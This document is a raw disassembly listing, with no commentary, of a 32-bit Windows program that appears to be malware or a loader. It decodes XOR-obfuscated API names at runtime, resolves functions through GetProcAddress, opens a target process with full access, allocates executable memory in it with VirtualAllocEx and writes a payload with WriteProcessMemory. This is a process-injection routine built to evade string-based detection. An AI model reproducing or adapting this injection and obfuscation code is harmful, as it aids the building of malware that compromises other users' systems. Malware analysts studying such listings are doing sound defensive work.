mov dword [ebp - 0xcc8], 0x870b8212
mov dword [ebp - 0xcc4], 0x96783319
mov dword [ebp - 0x1980], 0x870b8212
mov dword [ebp - 0x197c], 0x96783319
mov dword [ebp - 0xcc0], 0x6d2f468d
mov dword [ebp - 0xcbc], 0xb36bf090
mov dword [ebp - 0x1978], 0x6d2f468d
mov dword [ebp - 0x1974], 0xb36bf090
mov dword [ebp - 0xcb8], 0x24a76342
mov dword [ebp - 0xcb4], 0x97ad3619
mov dword [ebp - 0x1970], 0x24a76342
mov dword [ebp - 0x196c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xcd0]
pxor xmm1, xmmword [ebp - 0xcd0]
movaps xmmword [ebp - 0xcd0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xcc0]
push eax
movaps xmmword [ebp - 0xcc0], xmm1
call edi
mov edi, eax
mov dword [ebp - 0x2eb0], 0xfd21eb92
lea eax, [ebp - 0x2ea0]
mov dword [ebp - 0x2eac], 0x870fe18f
push eax
lea eax, [ebp - 0x2eb0]
mov dword [ebp - 0x2ea8], 0x873efa0f
push eax
lea ecx, [ebp - 0x3198]
mov dword [ebp - 0x2ea4], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2eb0]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2ec0]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3190]
mov dword [ebp - 0x2ec0], 0x8e528edf
mov dword [ebp - 0x2ebc], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2eb8], 0x877f8260
mov dword [ebp - 0x2eb4], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2ec0]
mov dword [ebp - 0xc10], 0xfd21eb92
push eax
lea eax, [ebp - 0x2ed0]
mov dword [ebp - 0xc0c], 0x870fe18f
push eax
lea ecx, [ebp - 0x3188]
mov dword [ebp - 0x2ed0], 0xfd21eb92
mov dword [ebp - 0x2ecc], 0x870fe18f
mov dword [ebp - 0xc08], 0x873efa0f
mov dword [ebp - 0xc04], 0x961c3337
mov dword [ebp - 0x2ec8], 0x873efa0f
mov dword [ebp - 0x2ec4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xc10]
lea eax, [ebp - 0xc10]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xc10], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x29a0], eax
lea ecx, [ebp - 0x3180]
lea eax, [ebp - 0x1948]
mov dword [ebp - 0x1968], 0xc326eb98
push eax
lea eax, [ebp - 0x1968]
mov dword [ebp - 0x1964], 0xa91fe281
push eax
mov dword [ebp - 0x1960], 0xe91eca05
mov dword [ebp - 0x195c], 0xc1795f53
mov dword [ebp - 0x1958], 0x6d4346e1
mov dword [ebp - 0x1954], 0xb36bf090
mov dword [ebp - 0x1950], 0x24a76342
mov dword [ebp - 0x194c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1928]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1948]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3178]
mov dword [ebp - 0x1948], 0x8e528edf
mov dword [ebp - 0x1944], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1940], 0x877f8260
mov dword [ebp - 0x193c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1938], 0x6d4346e1
mov dword [ebp - 0x1934], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1930], 0x24a76342
mov dword [ebp - 0x192c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1908]
mov dword [ebp - 0xcf0], 0xc326eb98
push eax
lea eax, [ebp - 0x1928]
mov dword [ebp - 0xcec], 0xa91fe281
push eax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x1928], 0xc326eb98
mov dword [ebp - 0x1924], 0xa91fe281
mov dword [ebp - 0xce8], 0xe91eca05
mov dword [ebp - 0xce4], 0xc1795f53
mov dword [ebp - 0x1920], 0xe91eca05
mov dword [ebp - 0x191c], 0xc1795f53
mov dword [ebp - 0xce0], 0x6d4346e1
mov dword [ebp - 0xcdc], 0xb36bf090
mov dword [ebp - 0x1918], 0x6d4346e1
mov dword [ebp - 0x1914], 0xb36bf090
mov dword [ebp - 0xcd8], 0x24a76342
mov dword [ebp - 0xcd4], 0x97ad3619
mov dword [ebp - 0x1910], 0x24a76342
mov dword [ebp - 0x190c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xcf0]
pxor xmm1, xmmword [ebp - 0xcf0]
mov esi, dword [ebp - 0x2b3c]
movaps xmmword [ebp - 0xcf0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xce0]
push eax
push esi
movaps xmmword [ebp - 0xce0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x29a4], eax
mov dword [ebp - 0x2ee0], 0xea33e193
mov dword [ebp - 0x2edc], 0xb708efa2
mov dword [ebp - 0x2ed8], 0xd006f001
lea eax, [ebp - 0x2ed0]
mov dword [ebp - 0x2ed4], 0x961c3337
push eax
lea eax, [ebp - 0x2ee0]
push eax
lea ecx, [ebp - 0x3168]
call fcn.0045f460
lea eax, [ebp - 0x2ee0]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2ef0]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3160]
mov dword [ebp - 0x2ef0], 0x8e528edf
mov dword [ebp - 0x2eec], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2ee8], 0x877f8260
mov dword [ebp - 0x2ee4], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2ef0]
mov dword [ebp - 0xa30], 0xea33e193
push eax
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0xa2c], 0xb708efa2
push eax
lea ecx, [ebp - 0x3158]
mov dword [ebp - 0x2f00], 0xea33e193
mov dword [ebp - 0x2efc], 0xb708efa2
mov dword [ebp - 0xa28], 0xd006f001
mov dword [ebp - 0xa24], 0x961c3337
mov dword [ebp - 0x2ef8], 0xd006f001
mov dword [ebp - 0x2ef4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xa30]
lea eax, [ebp - 0xa30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa30], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x29a8], eax
lea ecx, [ebp - 0x3150]
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0x2f10], 0xeb37e28c
push eax
lea eax, [ebp - 0x2f10]
mov dword [ebp - 0x2f0c], 0xc56a869e
push eax
mov dword [ebp - 0x2f08], 0x877f8260
mov dword [ebp - 0x2f04], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2f10]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2f20]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3148]
mov dword [ebp - 0x2f20], 0x8e528edf
mov dword [ebp - 0x2f1c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2f18], 0x877f8260
mov dword [ebp - 0x2f14], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2f20]
mov dword [ebp - 0x9c0], 0xeb37e28c
push eax
lea eax, [ebp - 0x2f30]
mov dword [ebp - 0x9bc], 0xc56a869e
push eax
lea ecx, [ebp - 0x3140]
mov dword [ebp - 0x2f30], 0xeb37e28c
mov dword [ebp - 0x2f2c], 0xc56a869e
mov dword [ebp - 0x9b8], 0x877f8260
mov dword [ebp - 0x9b4], 0x961c3337
mov dword [ebp - 0x2f28], 0x877f8260
mov dword [ebp - 0x2f24], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0x9c0]
pxor xmm1, xmmword [ebp - 0x9c0]
push eax
push esi
movaps xmmword [ebp - 0x9c0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x299c], eax
lea ecx, [ebp - 0x3138]
lea eax, [ebp - 0x2f30]
mov dword [ebp - 0x2f40], 0xe720feac
push eax
lea eax, [ebp - 0x2f40]
mov dword [ebp - 0x2f3c], 0xc50cf280
push eax
mov dword [ebp - 0x2f38], 0x877f8260
mov dword [ebp - 0x2f34], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2f40]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2f50]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3130]
mov dword [ebp - 0x2f50], 0x8e528edf
mov dword [ebp - 0x2f4c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2f48], 0x877f8260
mov dword [ebp - 0x2f44], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2f50]
mov dword [ebp - 0xa20], 0xe720feac
push eax
lea eax, [ebp - 0x2f60]
mov dword [ebp - 0xa1c], 0xc50cf280
push eax
lea ecx, [ebp - 0x3128]
mov dword [ebp - 0x2f60], 0xe720feac
mov dword [ebp - 0x2f5c], 0xc50cf280
mov dword [ebp - 0xa18], 0x877f8260
mov dword [ebp - 0xa14], 0x961c3337
mov dword [ebp - 0x2f58], 0x877f8260
mov dword [ebp - 0x2f54], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xa20]
pxor xmm1, xmmword [ebp - 0xa20]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmmword [ebp - 0xa20], xmm1
call edi
mov dword [ebp - 0x2994], eax
lea ecx, [ebp - 0x3120]
lea eax, [ebp - 0x2f60]
mov dword [ebp - 0x2f70], 0xc226eb98
push eax
lea eax, [ebp - 0x2f70]
mov dword [ebp - 0x2f6c], 0x801ef58f
push eax
mov dword [ebp - 0x2f68], 0xf510f012
mov dword [ebp - 0x2f64], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2f70]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2f80]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3118]
mov dword [ebp - 0x2f80], 0x8e528edf
mov dword [ebp - 0x2f7c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2f78], 0x877f8260
mov dword [ebp - 0x2f74], 0x961c3337
call fcn.0045f460
mov dword [ebp - 0x9e0], 0xc226eb98
mov dword [ebp - 0x9dc], 0x801ef58f
lea eax, [ebp - 0x2c10]
mov dword [ebp - 0x2c20], 0xc226eb98
push eax
lea eax, [ebp - 0x2c20]
mov dword [ebp - 0x2c1c], 0x801ef58f
push eax
lea ecx, [ebp - 0x3110]
mov dword [ebp - 0x9d8], 0xf510f012
mov dword [ebp - 0x9d4], 0x961c3337
mov dword [ebp - 0x2c18], 0xf510f012
mov dword [ebp - 0x2c14], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x9e0]
lea eax, [ebp - 0x9e0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0x9e0], xmm1
call edi
mov dword [ebp - 0x2998], eax
call fcn.0044d300
test al, al
jne 0x45afb5
push 0x10
push 0x66ee58
push 0x66ee60
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
nop dword [eax + eax]
mov dword [ebp - 0xd00], 0x6d1646ac
lea ecx, [ebp - 0xd10]
mov dword [ebp - 0xcfc], 0xb32af0dc
mov dword [ebp - 0xcf8], 0x24e86316
mov dword [ebp - 0xcf4], 0x97ad364b
mov dword [ebp - 0xd10], 0x8e1c8e9e
mov dword [ebp - 0xd0c], 0xc53886aa
mov dword [ebp - 0xd08], 0x8736822f
mov dword [ebp - 0xd04], 0x96593373
movaps xmm0, xmmword [ebp - 0xd10]
pxor xmm0, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd10], xmm0
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd00]
movaps xmmword [ebp - 0xd00], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2b3c], edi
test edi, edi
jne 0x45b1ec
mov dword [ebp - 0x1110], 0x6d1746a8
lea ecx, [ebp - 0x1120]
mov dword [ebp - 0x110c], 0xb325f0d1
mov dword [ebp - 0x1108], 0x24e2636c
mov dword [ebp - 0x1104], 0x97e83641
mov dword [ebp - 0x1100], 0x685fde43
mov dword [ebp - 0x10fc], 0x52635e52
mov dword [ebp - 0x10f8], 0x10dc2704
mov dword [ebp - 0x10f4], 0xf6b6539b
mov dword [ebp - 0x1120], 0x8e008e8f
mov dword [ebp - 0x111c], 0xc52086a1
mov dword [ebp - 0x1118], 0x873c8225
mov dword [ebp - 0x1114], 0x96483363
movaps xmm1, xmmword [ebp - 0x1120]
mov dword [ebp - 0x8a0], 0x8e528edf
mov dword [ebp - 0x89c], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1120], xmm1
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1110]
movaps xmmword [ebp - 0x1110], xmm1
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1100]
movaps xmmword [ebp - 0x1100], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2b3c], eax
push 0x32
call esi
test edi, edi
je 0x45b010
push 0x1f4
call esi
lea eax, [ebp - 0x2f80]
mov dword [ebp - 0x2f90], 0xb416c78f
push eax
lea eax, [ebp - 0x2f90]
mov dword [ebp - 0x2f8c], 0xcf0ea3ce
push eax
lea ecx, [ebp - 0x3108]
mov dword [ebp - 0x2f88], 0x877f8260
mov dword [ebp - 0x2f84], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2f90]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2fa0]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3100]
mov dword [ebp - 0x2fa0], 0x8e528edf
mov dword [ebp - 0x2f9c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2f98], 0x877f8260
mov dword [ebp - 0x2f94], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2fa0]
mov dword [ebp - 0x9f0], 0xb416c78f
push eax
lea eax, [ebp - 0x2fb0]
mov dword [ebp - 0x9ec], 0xcf0ea3ce
push eax
lea ecx, [ebp - 0x30f8]
mov dword [ebp - 0x2fb0], 0xb416c78f
mov dword [ebp - 0x2fac], 0xcf0ea3ce
mov dword [ebp - 0x9e8], 0x877f8260
mov dword [ebp - 0x9e4], 0x961c3337
mov dword [ebp - 0x2fa8], 0x877f8260
mov dword [ebp - 0x2fa4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x9f0]
lea eax, [ebp - 0x9f0]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0x9f0], xmm1
call fcn.0044b300
add esp, 8
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x2b54], esi
test esi, esi
jne 0x45b659
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1e68], 0xe037fe90
lea eax, [ebp - 0x1e38]
mov dword [ebp - 0x1e64], 0xa605f4be
push eax
lea eax, [ebp - 0x1e68]
mov dword [ebp - 0x1e60], 0xa70cf105
push eax
lea ecx, [ebp - 0x30f0]
mov dword [ebp - 0x1e5c], 0xfa755251
mov dword [ebp - 0x1e58], 0x1a632284
mov dword [ebp - 0x1e54], 0x930384f9
mov dword [ebp - 0x1e50], 0x41c30c21
mov dword [ebp - 0x1e4c], 0x9dc91339
mov dword [ebp - 0x1e48], 0x685fde43
mov dword [ebp - 0x1e44], 0x52635e52
mov dword [ebp - 0x1e40], 0x10dc2704
mov dword [ebp - 0x1e3c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1f88]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1fb8]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x30e8]
mov dword [ebp - 0x1fb8], 0x8e528edf
mov dword [ebp - 0x1fb4], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1fb0], 0x877f8260
mov dword [ebp - 0x1fac], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1fa8], 0x6d4346e1
mov dword [ebp - 0x1fa4], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1fa0], 0x24a76342
mov dword [ebp - 0x1f9c], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1f98], 0x685fde43
mov dword [ebp - 0x1f94], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1f90], 0x10dc2704
mov dword [ebp - 0x1f8c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1e68]
mov dword [ebp - 0x10f0], 0xe037fe90
push eax
lea eax, [ebp - 0x1e98]
mov dword [ebp - 0x10ec], 0xa605f4be
push eax
lea ecx, [ebp - 0x30e0]
mov dword [ebp - 0x1e98], 0xe037fe90
mov dword [ebp - 0x1e94], 0xa605f4be
mov dword [ebp - 0x10e8], 0xa70cf105
mov dword [ebp - 0x10e4], 0xfa755251
mov dword [ebp - 0x1e90], 0xa70cf105
mov dword [ebp - 0x1e8c], 0xfa755251
mov dword [ebp - 0x10e0], 0x1a632284
mov dword [ebp - 0x10dc], 0x930384f9
mov dword [ebp - 0x1e88], 0x1a632284
mov dword [ebp - 0x1e84], 0x930384f9
mov dword [ebp - 0x10d8], 0x41c30c21
mov dword [ebp - 0x10d4], 0x9dc91339
mov dword [ebp - 0x1e80], 0x41c30c21
mov dword [ebp - 0x1e7c], 0x9dc91339
mov dword [ebp - 0x10d0], 0x685fde43
mov dword [ebp - 0x10cc], 0x52635e52
mov dword [ebp - 0x1e78], 0x685fde43
mov dword [ebp - 0x1e74], 0x52635e52
mov dword [ebp - 0x10c8], 0x10dc2704
mov dword [ebp - 0x10c4], 0xf6b6539b
mov dword [ebp - 0x1e70], 0x10dc2704
mov dword [ebp - 0x1e6c], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x10f0]
pxor xmm1, xmmword [ebp - 0x10f0]
movaps xmmword [ebp - 0x10f0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x10e0]
movaps xmmword [ebp - 0x10e0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x10d0]
push esi
push eax
movaps xmmword [ebp - 0x10d0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccca
push 0x40
push 0x3000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2b4c], eax
test eax, eax
jne 0x45b97f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1ec8], 0xfa20e789
lea eax, [ebp - 0x1e98]
mov dword [ebp - 0x1ec4], 0x8406e79b
push eax
lea eax, [ebp - 0x1ec8]
mov dword [ebp - 0x1ec0], 0xe410ee0c
push eax
lea ecx, [ebp - 0x30d8]
mov dword [ebp - 0x1ebc], 0xf03c4b72
mov dword [ebp - 0x1eb8], 0x82f2f80
mov dword [ebp - 0x1eb4], 0xda1cd0f4
mov dword [ebp - 0x1eb0], 0x47870b36
mov dword [ebp - 0x1eac], 0xb7c85276
mov dword [ebp - 0x1ea8], 0x6855ba66
mov dword [ebp - 0x1ea4], 0x52635e52
mov dword [ebp - 0x1ea0], 0x10dc2704
mov dword [ebp - 0x1e9c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1ec8]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1ef8]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x30d0]
mov dword [ebp - 0x1ef8], 0x8e528edf
mov dword [ebp - 0x1ef4], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1ef0], 0x877f8260
mov dword [ebp - 0x1eec], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1ee8], 0x6d4346e1
mov dword [ebp - 0x1ee4], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1ee0], 0x24a76342
mov dword [ebp - 0x1edc], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1ed8], 0x685fde43
mov dword [ebp - 0x1ed4], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1ed0], 0x10dc2704
mov dword [ebp - 0x1ecc], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1ef8]
mov dword [ebp - 0x1000], 0xfa20e789
push eax
lea eax, [ebp - 0x1f28]
mov dword [ebp - 0xffc], 0x8406e79b
push eax
lea ecx, [ebp - 0x30c8]
mov dword [ebp - 0x1f28], 0xfa20e789
mov dword [ebp - 0x1f24], 0x8406e79b
mov dword [ebp - 0xff8], 0xe410ee0c
mov dword [ebp - 0xff4], 0xf03c4b72
mov dword [ebp - 0x1f20], 0xe410ee0c
mov dword [ebp - 0x1f1c], 0xf03c4b72
mov dword [ebp - 0xff0], 0x82f2f80
mov dword [ebp - 0xfec], 0xda1cd0f4
mov dword [ebp - 0x1f18], 0x82f2f80
mov dword [ebp - 0x1f14], 0xda1cd0f4
mov dword [ebp - 0xfe8], 0x47870b36
mov dword [ebp - 0xfe4], 0xb7c85276
mov dword [ebp - 0x1f10], 0x47870b36
mov dword [ebp - 0x1f0c], 0xb7c85276
mov dword [ebp - 0xfe0], 0x6855ba66
mov dword [ebp - 0xfdc], 0x52635e52
mov dword [ebp - 0x1f08], 0x6855ba66
mov dword [ebp - 0x1f04], 0x52635e52
mov dword [ebp - 0xfd8], 0x10dc2704
mov dword [ebp - 0xfd4], 0xf6b6539b
mov dword [ebp - 0x1f00], 0x10dc2704
mov dword [ebp - 0x1efc], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x1000]
pxor xmm1, xmmword [ebp - 0x1000]
movaps xmmword [ebp - 0x1000], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0xff0]
movaps xmmword [ebp - 0xff0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xfe0]
push esi
push eax
movaps xmmword [ebp - 0xfe0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccca
push 4
push 0x1000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2b58], eax
test eax, eax
jne 0x45bca5
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f58], 0xae0fbc84
lea eax, [ebp - 0x1f28]
mov dword [ebp - 0x1f54], 0xb118efb8
push eax
lea eax, [ebp - 0x1f58]
mov dword [ebp - 0x1f50], 0xc613e315
push eax
lea ecx, [ebp - 0x30c0]
mov dword [ebp - 0x1f4c], 0xf5735f5b
mov dword [ebp - 0x1f48], 0xb633ea4
mov dword [ebp - 0x1f44], 0xd60799f1
mov dword [ebp - 0x1f40], 0x4dd04326
mov dword [ebp - 0x1f3c], 0xf48d5e6d
mov dword [ebp - 0x1f38], 0x483aba2c
mov dword [ebp - 0x1f34], 0x52693a77
mov dword [ebp - 0x1f30], 0x10dc2704
mov dword [ebp - 0x1f2c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1f58]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1f88]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x30b8]
mov dword [ebp - 0x1f88], 0x8e528edf
mov dword [ebp - 0x1f84], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1f80], 0x877f8260
mov dword [ebp - 0x1f7c], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1f78], 0x6d4346e1
mov dword [ebp - 0x1f74], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1f70], 0x24a76342
mov dword [ebp - 0x1f6c], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1f68], 0x685fde43
mov dword [ebp - 0x1f64], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1f60], 0x10dc2704
mov dword [ebp - 0x1f5c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1a48]
mov dword [ebp - 0x10c0], 0xae0fbc84
push eax
lea eax, [ebp - 0x1a78]
mov dword [ebp - 0x10bc], 0xb118efb8
push eax
lea ecx, [ebp - 0x30b0]
mov dword [ebp - 0x1a78], 0xae0fbc84
mov dword [ebp - 0x1a74], 0xb118efb8
mov dword [ebp - 0x10b8], 0xc613e315
mov dword [ebp - 0x10b4], 0xf5735f5b
mov dword [ebp - 0x1a70], 0xc613e315
mov dword [ebp - 0x1a6c], 0xf5735f5b
mov dword [ebp - 0x10b0], 0xb633ea4
mov dword [ebp - 0x10ac], 0xd60799f1
mov dword [ebp - 0x1a68], 0xb633ea4
mov dword [ebp - 0x1a64], 0xd60799f1
mov dword [ebp - 0x10a8], 0x4dd04326
mov dword [ebp - 0x10a4], 0xf48d5e6d
mov dword [ebp - 0x1a60], 0x4dd04326
mov dword [ebp - 0x1a5c], 0xf48d5e6d
mov dword [ebp - 0x10a0], 0x483aba2c
mov dword [ebp - 0x109c], 0x52693a77
mov dword [ebp - 0x1a58], 0x483aba2c
mov dword [ebp - 0x1a54], 0x52693a77
mov dword [ebp - 0x1098], 0x10dc2704
mov dword [ebp - 0x1094], 0xf6b6539b
mov dword [ebp - 0x1a50], 0x10dc2704
mov dword [ebp - 0x1a4c], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x10c0]
lea eax, [ebp - 0x10c0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10c0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x10b0]
movaps xmmword [ebp - 0x10b0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x10a0]
push esi
push eax
movaps xmmword [ebp - 0x10a0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccca
push 0
push 0x720
push 0x454430
push dword [ebp - 0x2b4c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45bfc9
